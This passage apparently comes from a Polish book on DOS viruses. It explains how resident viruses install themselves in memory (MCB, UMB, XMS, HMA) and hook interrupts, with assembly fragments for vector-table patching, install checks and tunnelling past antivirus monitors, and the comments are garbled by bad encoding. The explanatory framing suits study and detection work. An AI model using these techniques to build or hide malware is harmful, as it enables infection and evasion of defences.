rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym
wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie
operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł
powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez
żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed
ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h.
Sekwencja realizująca to zadanie wygląda następująco:
; PowiÛkszenie jednego z blok¾w ju┐ u┐ytych
MOV AH,52H ; funkcja DOS - weƒ adres do listy list (LL)
INT 21H ; wywo│aj funkcjÛ DOS
MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│¾wka MCB
MOV BX,ES:[3] ; pobierz rozmiar bloku
INC DX ; DOS wymaga adresu o l wiÛkszego od MCB
MOV ES,DX ; ES wskazuje na blok pamiÛci
ADD DX,BX ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)
MOV AH,4Ah ; spr¾buj zmieniµ rozmiar bloku
INT 21h ; wywo│aj funkcjÛ DOS
JNC JESTBLOK ; je£li CFl, uda│o siÛ zmieniµ blok
CMP CL, Z ; czy ostatni blok ?
JNE NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; nie uda│o siÛ powiÛkszyµ ┐adnego bloku
...... ; czÛ£µ kodu wirusa, wykonuj╣ca

; siÛ, gdy nie znaleziono bloku

background image

JESTBLOK:
...... ; uda│o siÛ powiÛkszyµ blok, adres do niego jest w ES

Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału
pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają
bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba
wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch
bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci
niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu
następującej sekwencji w asemblerze:
; Do│╣czanie pamiÛci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiÛci
MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiÛ
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj odczytane strategiÛ
MOV AX,5802h ; weƒ informacjÛ o do│╣czeniu pamiÛci UMB
INT 21h ; wywo│aj funkcjÛ DOS
PUSH AX ; zachowaj informacjÛ na stosie
MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB
MOV BX,1 ; podfunkcja - do│╣cz bloki
INT 21h ; wywo│aj funkcjÛ DOS
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci
MOV BX,82h ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)
INT 21h ; wywo│aj funkcjÛ DOS
....... ; operacje na blokach MCB (na ca│ym ich │a±cuchu)
POP BX ; weƒ pierwotn╣ informacjÛ o do│╣czeniu pamiÛci UMB
XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX,
5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H
; wywo│aj funkcjÛ DOS
POP BX ; przywr¾µ pierwotn╣ strategiÛ
MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci wg BX
INT 21h ; wywo│aj funkcjÛ DOS

Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy
ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest
chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego
jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w
efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże
wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z
mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za
pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie
procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku
UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizm¾w XMS do przydzia│u bloku UMB
MOV AX,4300H ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS?

background image

JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310H ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,10h ; funkcja XMS - przydziel pamiÛµ UMB
MOV DX,rozmiar ; podaj ilo£µ ┐╣danej pamiÛci w paragrafach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX,l ; je£li nie ma b│Ûdu, to AX-1
JNE BLAD ; skocz, Je£li AX<>1
; BX = adres przydzielonego bloku

5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w
pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do
zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres
10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS,
aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system
wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci
następującej sekwencji:
; Przydzia│ fragmentu pamiÛci HMA
MOV AX,4A01h ; funkcja - sprawdƒ ilo£µ wolnej HMA
INT 2Fh ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej
; pamiÛci HMA w bajtach,
; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR ; czy jest odpowiednia ilo£µ pamiÛci
jb NieMaHMA ; je£li mniej, to nie przydzielaj
MOV AX, 4A02h ; funkcja - przydziel pamiÛµ HMA
MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiÛci
INT 2Fh ; wywo│aj przerwanie multipleksowane

; BX = ilo£µ przydzielonej pamiÛci HMA w paragrafach
; ES:DI wskazuje na przydzielony obszar HMA

NieMaHMA:

Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA
(ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy
skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS
(najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
; Przydziel ca│e pamiÛµ HMA programowi
MOV AX,4300h ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS
INT 2Fh ; wywo│aj przerwanie multipleksowane
CMP AL,80h ; czy zainstalowany mened┐er XMS ?
JNE NieMaXMS ; skocz, je£li nie jest zainstalowany
MOV AX,4310h ; funkcja - weƒ adres procedury
INT 2Fh ; wywo│aj przerwanie multipleksowane

background image

MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS
MOV [PROCOFS],BX
MOV AH,l ; funkcja XMS - przydziel pamiÛµ HMA
MOV DX,ROZMIAR ; podaj ilo£µ ┐╣danej pamiÛci w bajtach
CALL [PROCSEG] ; wywo│aj procedurÛ mened┐era XMS
CMP AX, l ; je£li nie ma b│Ûdu, to AX=1
JNE BLAD ; skocz, je£li AX1

5.5. Nietypowe metody instalacji

5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej
przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci
ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w
segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są
dane dla trybów tekstowych ekranu.

5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca
wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów
stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w
obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie
zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą
kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory
80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury
obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie
rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu
0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów)
w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje
więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do
przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.

ROZDZIAŁ 6

6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w
rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez
wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego
elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania
wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez
włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba
modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala
wykryć uruchomiony debugger.

background image

> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod
0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do
wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie
jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony
debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę
przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można
zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania
przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych,
rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu
klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję
(4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla
funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do
efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest
sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o
obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci
operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej
systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują
głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej
dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko
zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane
jest w celu informowania innych kopii wirusa o obecności w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie
sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej
podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego
przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie
innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych.
Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na
przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje
systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie
obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe
IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez
przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana
przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie
umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury.
Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii
wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć

background image

rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych
znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej
przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę
przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków
logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części
systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem.
Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy,
uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest
potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji
często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej
wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W
wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang.
Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć
operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia
jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa
przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS
sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one
następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji
MOV AL,3 ; sygnalizuj b│╣d programowi (czyli wirusowi)
IRET ; powr¾t 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków
logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego
odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach
logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą
je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z
pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR,
nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji
(31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w
tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do
infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus
DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność
wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania
13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję
plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji
(1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w
których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych
przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS,

background image

gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu
systemu DOS, ale może być podmieniony przez program antywirusowy). Adres
wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji
DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie
kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające
większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje
m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości
BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas
inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na
40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z
pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego
przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu
odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego
lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do
ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy
przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo
jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby
przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez
siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to
numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za
pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej
procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie
jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania,
czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć
powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już
zainstalowany, ma najczęściej postać:
MOV AX.HASúO ; najczÛ£ciej w AX podaje siÛ jak╣£ nie typow╣ funkcjÛ
INT xx ; xx - numer przerwania (najczÛ£ciej 21h)
CMP REJ,ODPOWIEDÅ ; czy wirus ju┐ zainstalowany (rej - najczÛ£ciej AX)
JE Ju┐Zainstalowany ; skok, gdy zainstalowany wirus zwr¾ci│ odpowiedƒ
........... ; zainstaluj siÛ
Ju┐Zainstalowany: ; powr¾µ do nosiciela

Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście
przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy
nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa.
Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z
używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może
kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli
jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne
działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu
użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących
stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez

background image

programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z
tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi
przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku
twardym. Jeszcze inne niebezpieczeństwo
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność
swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z
niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.:
10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W
przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy
korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie
odwetowe.
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne
przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na
urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do
programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do
dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między
systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie
pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do
wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku.

6.2. Wykorzystanie funkcji DOS
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu
funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze:
; Przejmowanie przerwa± za pomoce DOS-a
MOV AL, NUMER ; podaj w AL numer przerwania
MOV AH, 35h ; w AH numer funkcji, weƒ adres starej procedury
; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS po wywo│aniu funkcji
MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej procedury
MOV [StaryOFS],BX ; obs│ugi, kt¾ry najczÛ£ciej zapamiÛtuje siÛ
MOV AH, 25h ; w AH numer funkcji, ustaw now╣ procedurÛ obs│ugi
; przerwania
MOV AL,NUMER ; w AL numer przerwania
MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej procedury
MOV DX, OFFSET Nowa ; obs│ugi przerwania
INT 21h ; wywo│aj funkcjÛ DOS

Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze
względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy,
stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę
innych, omówionych poniżej.

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie
przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu
poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z
poprzedniego punktu:

background image

: Przejmowanie przerwa± bezpo£rednio w tablicy przerwa±
MOV BL, NUMER ; w BL numer zmienianego przerwania
XOR BH,BH ; BX=BL
SHL BX,l ; pomn¾┐ je przez 4 (2 razy przesu± w lewo)
SHL BX,l ; jeszcze raz przesu± w lewo
XOR AX,AX ; zeruj rejestr AX
MOV DS,AX ; i z jego pomoc╣ zeruj rejestr segmentu DS

; DS:BX wskazuje na pozycjÛ w tablicy przerwa±,

; gdzie zapisany jest adres obs│ugi przerwania
LDS DX,DS:[BX] ; pobierz segment i offset przerwania (do
; zapamiÛtania)
MOV [StarySEG],DS ; zachowaj segment
MOV [StaryOFS],DX ; zachowaj offset
MOV DS,AX ; ponownie DS=0
CLI ; bezpiecznie zmieniaµ adres obs│ugi przerwania
; przy wy│╣czonych przerwaniach
MOV DS:[BXJ,OFFSET NOWA ; bezpo£rednie warto£ci wskazujÛ
; na adres nowej
MOV DS:[BX+2], SEG NOWE ; procedury obs│ugi przerwania
STI ; teraz mo┐na ju┐ w│╣czyµ przerwania

Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci
absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż
jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL).

6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie
czystych wejść do systemu (ang. tunnelling
)
Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez
najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali
innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy
przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego
łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem.
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania
pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne
są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn.
wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub
nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim
wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa
procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest
to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie.

6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh)
Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do
przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest
oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu
DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB
(oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu

background image

przerwań 21h i 2Fh), która została przedstawiona poniżej.
Sekwencja kodu występująca w DOS od 5.0 wzwyż
DOS używa HMA

DOS nie używa HMA

Adres

Kod

Znaczenie

Kod

Znaczenie

SEG:OFS

90 90

NOP NOP

EB 03

JMP $+3

SEG:OFS+2 E8 xxxx

CALL [IP+xxxx] E8 xxxx

CALL [IP+xxxx]

SEG:OFS+

5

2E FF 2E yyyy JMP FAR

CS:[yyyy]

2E FF 2E

JMP FAR
CS:[yyyy]

Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie
OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej
6.22 (np. DOS 7.0, występujący z systemem Windows 95).
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh
(dla wersji 7.00).
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie
powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h,
korzystając z następującej sekwencji:
MOV AH,30H ; funkcja - weƒ wersjÛ systemu
INT 21h ; wywo│aj funkcjÛ
XCHG AL,AH ; zabieg kosmetyczny - aby p¾ƒniejsze

; por¾wnanie by│o bardziej przejrzyste
MOV BX,109EH ; offset dla wersji 5.00 - 6.22
CMP AX,0500h ; czy wersja
JB NIEDZIAúA ; je£li tak, to tunneling nie dzia│a
CMP AX,0622h ; czy wersja wiÛksza od 6.22 ?
JB Wer5_6_22
MOV BX,OFB2h ; nowsze wersje DOS - inny offset
Wer5_6_22:
PUSH BX ; zachowaj offset na stosie
MOV AH,52h ; funkcja - podaj adres do LL
INT 21h ; wywo│aj funkcjÛ
POP BX ; teraz ES:BX wskazuje na sekwencjÛ z tabeli
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?
JE JEST ; jest czÛ£µ sekwencji
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
JEST:
CMP BYTE PTR ES:[BX+2],OE8h; czy druga czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia│a
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta czÛ£µ sekwencji ?
JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie dzia│a
; znaleziona pe│na sekwencja
MOV BX,WORD PTR ES:[BX+8]
LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny adres int 21h
NIEDZIALA:

background image

Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w
programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh.

6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)
Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać
tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem
krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np.
przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie
tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy
znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie
zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub
funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h
(weź informację o parametrach dysku).

6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia
oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny.
Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej
przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków,
dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha
obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
......... ; pierwszy element │a±cucha
Skok_do_Elementu_2
......... ; pamiÛµ wykorzystywana przez inne programy
Element_2 ......... ; drugi element │a±cucha
Skok_do_Elementu_3
